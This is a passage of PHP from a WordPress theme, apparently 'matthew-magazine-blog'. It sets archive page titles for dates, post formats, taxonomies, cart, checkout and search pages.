        $title  = get_the_date( _x( 'F Y', 'monthly archives date format','matthew-magazine-blog' ) );
    } elseif ( is_day() ) {
        /* translators: See https://www.php.net/manual/datetime.format.php */
        $title  = get_the_date( _x( 'F j, Y', 'daily archives date format','matthew-magazine-blog' ) );
    } elseif ( is_tax( 'post_format' ) ) {
        if ( is_tax( 'post_format', 'post-format-aside' ) ) {
            $title = _x( 'Asides', 'post format archive title','matthew-magazine-blog' );
        } elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
            $title = _x( 'Galleries', 'post format archive title','matthew-magazine-blog' );
        } elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
            $title = _x( 'Images', 'post format archive title','matthew-magazine-blog' );
        } elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
            $title = _x( 'Videos', 'post format archive title','matthew-magazine-blog' );
        } elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
            $title = _x( 'Quotes', 'post format archive title','matthew-magazine-blog' );
        } elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
            $title = _x( 'Links', 'post format archive title','matthew-magazine-blog' );
        } elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
            $title = _x( 'Statuses', 'post format archive title','matthew-magazine-blog' );
        } elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
            $title = _x( 'Audio', 'post format archive title','matthew-magazine-blog' );
        } elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
            $title = _x( 'Chats', 'post format archive title','matthew-magazine-blog' );
        }
    } elseif ( is_post_type_archive() ) {
        $title  = post_type_archive_title( '', false );
    } elseif ( is_tax() ) {
        $queried_object = get_queried_object();
        if ( $queried_object ) {
            $tax    = get_taxonomy( $queried_object->taxonomy );
            $title  = single_term_title( '', false );
        }
    } elseif (is_cart()) {
        $title = _x( 'Cart', 'post format archive title','matthew-magazine-blog' );
    } elseif (is_checkout()) {
        $title = _x( 'Checkout', 'post format archive title','matthew-magazine-blog' );
    }  elseif (is_search()) {
        $value = get_search_query();
        $title = sprintf( esc_html__( 'Search: %s','matthew-magazine-blog' ), $value);
    }
    return $title;
});